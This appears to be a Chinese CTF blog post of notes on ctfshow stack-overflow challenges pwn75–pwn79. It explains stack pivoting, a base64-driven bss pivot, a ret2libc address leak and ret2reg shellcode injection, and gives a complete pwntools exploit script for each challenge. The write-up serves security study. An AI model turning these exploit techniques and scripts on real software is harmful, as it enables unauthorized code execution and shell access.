当前位置: 首页 > news >正文

ctfshow做题笔记—栈溢出—pwn75~pwn79

目录

前言

一、pwn75(栈空间不够怎么办?)

二、pwn76

三、pwn77(Ez ROP or Mid ROP ?)

四、pwn79(你需要注意某些函数,这是解题的关键!)


前言

嘿嘿,隔了一段时间没有做pwn题了(主播脱单了),现在继续做一些题,学到一些新东西,记录一下。


一、pwn75(栈空间不够怎么办?)

程序开了NX保护,写入shellcode不是太可行,但也说不定,ret2syscall就可以绕过,总之先看一看程序。

读了一下代码主要是你和老朋友很久不见,然后输入名字,来运行一下。

int ctfshow()
{
  char s; // [sp+0h] [bp-28h]@1

  memset(&s, 0, 0x20u);
  read(0, &s, 0x30u);
  printf("Welcome, %s\n", &s);
  puts("What do you want to do?");
  read(0, &s, 0x30u);
  return printf("Nothing here ,%s\n", &s);
}

下意识想要看一看&s:

-00000028 s               db ?

-00000004 var_4           dd ?
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)

0x28+0x4

可能会造成栈溢出,应该可以利用

先了解一下什么是栈迁移,看了很多篇文章,最后问了问人机(很好的学习助手啊):

栈迁移是一种在栈溢出时,用于构建新栈空间以容纳payload的技术。其基本原理是通过控制ebp寄存器的值,借助leave指令间接控制esp寄存器的值,从而实现栈的迁移。

工作原理

1、栈溢出与寄存器控制:当栈溢出发生时,如果溢出长度不足以容纳整个payload,可以利用栈迁移。此时,攻击者会覆盖栈中的ebp和eip寄存器。通过控制ebp的值,可以指定新的栈空间的起始位置。

2、关键指令leave的作用:leave指令等效于mov esp, ebp; pop ebp,它将ebp的值赋给esp,然后弹出ebp的值。这样,esp就会指向新的栈空间,从而实现栈的迁移。

3、多次迁移的实现:在某些情况下,可能需要进行多次栈迁移。每次迁移时,都需要提前计算并布置好新的栈空间的地址信息,以便在执行leave指令时能够正确地迁移到新的栈空间。

主要原因就是栈溢出之后,比如这道题剩下的栈空间已经不足以装下整个payload,利用栈迁移就可以将esp这个栈指针指向新的栈空间,这样就可以继续写入我们的payload了。

做题过程中发现一个卡脖子问题啊,利用pwndbg动态调试,查看执行到leave的过程中ebp的变化和偏移量。

记录一下这个调试过程:

b ctfshow

run

命令n为逐步执行

命令s是直接进入函数,可以直接看到buf

stack就可以看到栈的情况了,计算一下用ebp表示buf的位置

buf = ebp-0x38

再第一次输入完成之后,会进行第二次输入,我们会在buf中利用现有的system写入system("/bin/sh")

(看了一下官方wp)由于程序中有system函数,直接利用 ,前面的一部分是用来填充buf,就是后面的p32(buf-4) + p32(leave)

p32(buf-4) 是将ebp覆盖成buf的地址-4因为我们利用的是两个leave,但是第二个

leavepop ebp,在出栈的时候会esp+4。就会指向esp+4的位置, p32(leave) ,将返回地址覆盖成leave 到这里,我们成功将栈劫持到了我们的buf处,接下来就会执行栈里的内容。

leave= 0x8048766

这道题的exp不太会写,学着写一下,这里发送为了避免错误用send比较好,sendline打不通。

from pwn import *
context(arch="i386",log_level="debug")
p=remote("pwn.challenge.ctf.show",28256)
elf = ELF('./pwn75')
system = elf.plt['system']
leave = 0x08048766
payload1 = b'a' * 0x24 + b'bbbb'
p.recvuntil("codename:")
p.send(payload1)
p.recvuntil("bbbb")
ebp = u32(p.recv(4))
print(hex(ebp))
buf = ebp - 0x38
payload2 = (b'aaaa' + p32(system) + b'aaaa' + p32(buf + 16) +
b'/bin/sh\x00').ljust(0x28,b'a') + p32(buf) + p32(leave)
p.send(payload2)
p.interactive()


二、pwn76

[*] '/home/kali/桌面/ctfshoww/pwn76'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

这道题应该要仔细的阅读代码,就直接拖进ida吧。

先看看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+18h] [bp-28h]@1
  __int16 v5; // [sp+1Eh] [bp-22h]@1
  unsigned int v6; // [sp+3Ch] [bp-4h]@1

  memset(&v5, 0, 0x1Eu);
  setvbuf(stdout[0], 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  printf("CTFshow login: ");
  _isoc99_scanf("%30s", &v5);//只输入30个字节到v5
  memset(&input, 0, 0xCu);
  v4 = 0;
  v6 = Base64Decode((int)&v5, &v4);//应该是将v5的base64解码储存到v4
 //检测解码后的长度,如果超过 0xC就输出Input Error!
 if ( v6 > 0xC )
  {
    puts("Input Error!");
  }
  else
  {
    memcpy(&input, v4, v6);//这里memcpy把数据填充到input所在bass段
    if ( auth(v6) == 1 )
      correct();
  }
  return 0;
}

为知道v6我们需要看看Base64Decode函数:

 v2 = calcDecodeLength(a1);

猜测应该是解码以后的长度

当然满足长度条件就需要了解一下auth()干了什么:

_BOOL4 __cdecl auth(int a1)
{
  char v2; // [sp+14h] [bp-14h]@1
  char *s2; // [sp+1Ch] [bp-Ch]@1
  int v4; // [sp+20h] [bp-8h]@1

  memcpy(&v4, &input, a1);
  s2 = (char *)calc_md5((int)&v2, 12);
  printf("hash : %s\n", s2);//输出md5的哈希值
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

最后应该就是后面了:

void __noreturn correct()
{
  if ( input == -559038737 )
  {
    puts("Wow Fantastic,you deserve it!");
    system("/bin/sh");
  }
  exit(0);
}

mov ebp,esp;pop ebp的时候,esp寄存器的值要减4,所以payload的前四个字节填

充垃圾数据。

构造完payload需要先加密一下再发送。

找地址:

.bss:0811EB40 input           db    ? ;

0804928B                 call    system
bass = 0x811EB40

sysbin = 0x804928B

但是官方wp没打出来,重新改了改:

from pwn import *
import base64

context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28240)
input_addr = 0x811EB40
shell = 0x8049284
payload = b'aaaa' + p32(shell) + p32(input_addr)

# 使用base64.b64encode对字节串进行Base64编码
encoded_payload = base64.b64encode(payload)

p.sendlineafter(": ", encoded_payload)
p.interactive()


三、pwn77(Ez ROP or Mid ROP ?)

先看看有什么保护:

Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

有一个NX,先拖进ida看看:

__int64 ctfshow()
{
  int v0; // eax@3
  __int64 result; // rax@5
  char v2[267]; // [sp+0h] [bp-110h]@3
  char v3; // [sp+10Bh] [bp-5h]@2
  int v4; // [sp+10Ch] [bp-4h]@1

  v4 = 0;
  while ( !feof(stdin) )
  {
    v3 = fgetc(stdin);
    if ( v3 == 10 )
      break;
    v0 = v4++;
    v2[v0] = v3;
  }
  result = v4;
  v2[v4] = 0;
  return result;
}

这个ctfshow看不太懂的样子。

但是大概可以看出v4控制v2数组,栈溢出时会覆盖v4,当这个覆盖到v4时覆盖为返回地址就可以在返回地址写入ROP。当然需要用到rdi,ret。把之前的知识操作一遍,有点忘了。

其实在ctfshow下一个断点调试一下也可以大概知道填充0x110 - 4

看了官方wp还加了一个'\x18'

找一下pop rdi;ret和ret

ROPgadget --binary ./pwn77 --only "pop|ret" 

0x00000000004008e3 : pop rdi ; ret

0x0000000000400576 : ret

rdi=0x4008e3

ret=0x400576

我们利用fgetc来泄露地址。

from pwn import*
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28253)
e=ELF("./pwn77")
libc=ELF("/home/kali/桌面/ctfshoww/libc.so.6")
offset=0x110 - 0x4
rdi=0x4008e3
ret=0x400576
fgetc_got=e.got['fgetc']
main=e.sym['main']
puts_plt=e.plt['puts']
payload1=b'a'*offset+b'\x18'+p64(rdi)+p64(fgetc_got)+p64(puts_plt)+p64(main)
p.sendlineafter("T^T\n",payload1)
fgetc = u64(p.recv(6).ljust(8, b"\x00"))
print(hex(fgetc))
base_ar=fgetc-libc.sym['fgetc']
sys=base_ar+libc.sym['system']
binsh=base_ar+next(libc.search(b'/bin/sh'))
payload2=b'a'*offset+b'\x18'+p64(rdi)+p64(binsh)+p64(ret)+p64(sys)
p.sendlineafter("T^T\n",payload2)//如果不说明在哪里写入payload可能打不通
p.interactive()


四、pwn79(你需要注意某些函数,这是解题的关键!)

直接拖进32位ida看看:

void __cdecl ctfshow(char *input)
{
  char buf[512]; // [sp+0h] [bp-208h]@1

  _x86_get_pc_thunk_ax();

 strcpy(buf, input);//这个函数一眼可利用,把输入复制到buf,需要填充512+4

}

但是后面就不知道怎么利用了,学习一点新知识。

ret2reg:

Ret2reg 是一种利用技术,通过控制寄存器的值来间接控制程序的执行流。其核心思想是利用程序中某些寄存器指向的地址(如栈上的缓冲区地址),并通过查找 jmp reg 或 call reg 指令,将程序的控制流转移到该寄存器指向的地址,从而执行注入的 shellcode。(就是一种注入shellcode的方式,核心是利用程序中某些寄存器指向的地址)

首先查看溢出函返回时哪个寄存值指向溢出缓冲区空间

可以用pwndbug下断点调试一下:

在ctfshow中leave处下一个断点。

注意到:0x080486ad <+47>:    leave

可以看到,eax,edx,esp都有用到

接下来就是找call / jmp 指令:

ROPgadget --binary ./pwn79 --only "call|jmp"

eax = 0x080484a0

from pwn import *
context(arch="i386",log_level="debug")
p=remote("pwn.challenge.ctf.show",28223)
shellcode=asm(shellcraft.sh())
calleax=0x080484a0
payload=flat([shellcode,'a'*(0x20c-len(shellcode)),calleax])
p.recvuntil("Enter your input:")
p.sendline(payload)
p.interactive()


继续学习中......

相关文章:

  • 手动关闭ArcGIS与ArcGIS Online连接的方法
  • 基于Python的​​LSTM、CNN中文情感分析系统
  • 【Python爬虫】简单案例介绍1
  • vscode中C++ debug显示opencv图片的插件
  • 非类型模板参数详解
  • react tailwindcss最简单的开始
  • KNN算法深度解析:从决策边界可视化到鸢尾花分类实战
  • bat与powershell语法教程以及容易遇到的坑
  • go语言gRPC使用流程
  • AI数据分析的优势分析
  • 浙江大学DeepSeek系列专题线上公开课第二季第五期即将上线!deepseek人文艺术之美专场来啦!
  • 什么是COSMIC功能点评估方法
  • [福游宝——AI智能旅游信息查询平台]全栈AI项目-阶段二:聊天咨询业务组件开发
  • 系统性能优化总结与思考-第一部分
  • 简简单单实现一个Python+Selenium的自动化测试框架
  • LabVIEW 发电机励磁系统监测与诊断
  • CExercise_05_1伪随机数_1写一个随机发牌程序,由用户指定发几张票,然后打印用户得到的手牌。
  • 前端常考面试题目详解
  • 软件更新 | 以太网通信仿真功能已上线!TSMaster 202503 版本更新速览
  • C++中的高阶函数
  • 揭晓!人形机器人半马完赛奖+专项奖发布
  • 冲线!“天工”夺得全球首个人形机器人半马冠军
  • “走进电影”:虚拟现实电影产业有新进展
  • 上海浦东:顶尖青年人才最高可获700万元资助及1亿元项目补贴
  • 2025扬州“烟花三月”国际经贸旅游节开幕,37个重大项目现场签约
  • 中共中央台办、国务院台办在南京举办台商代表座谈会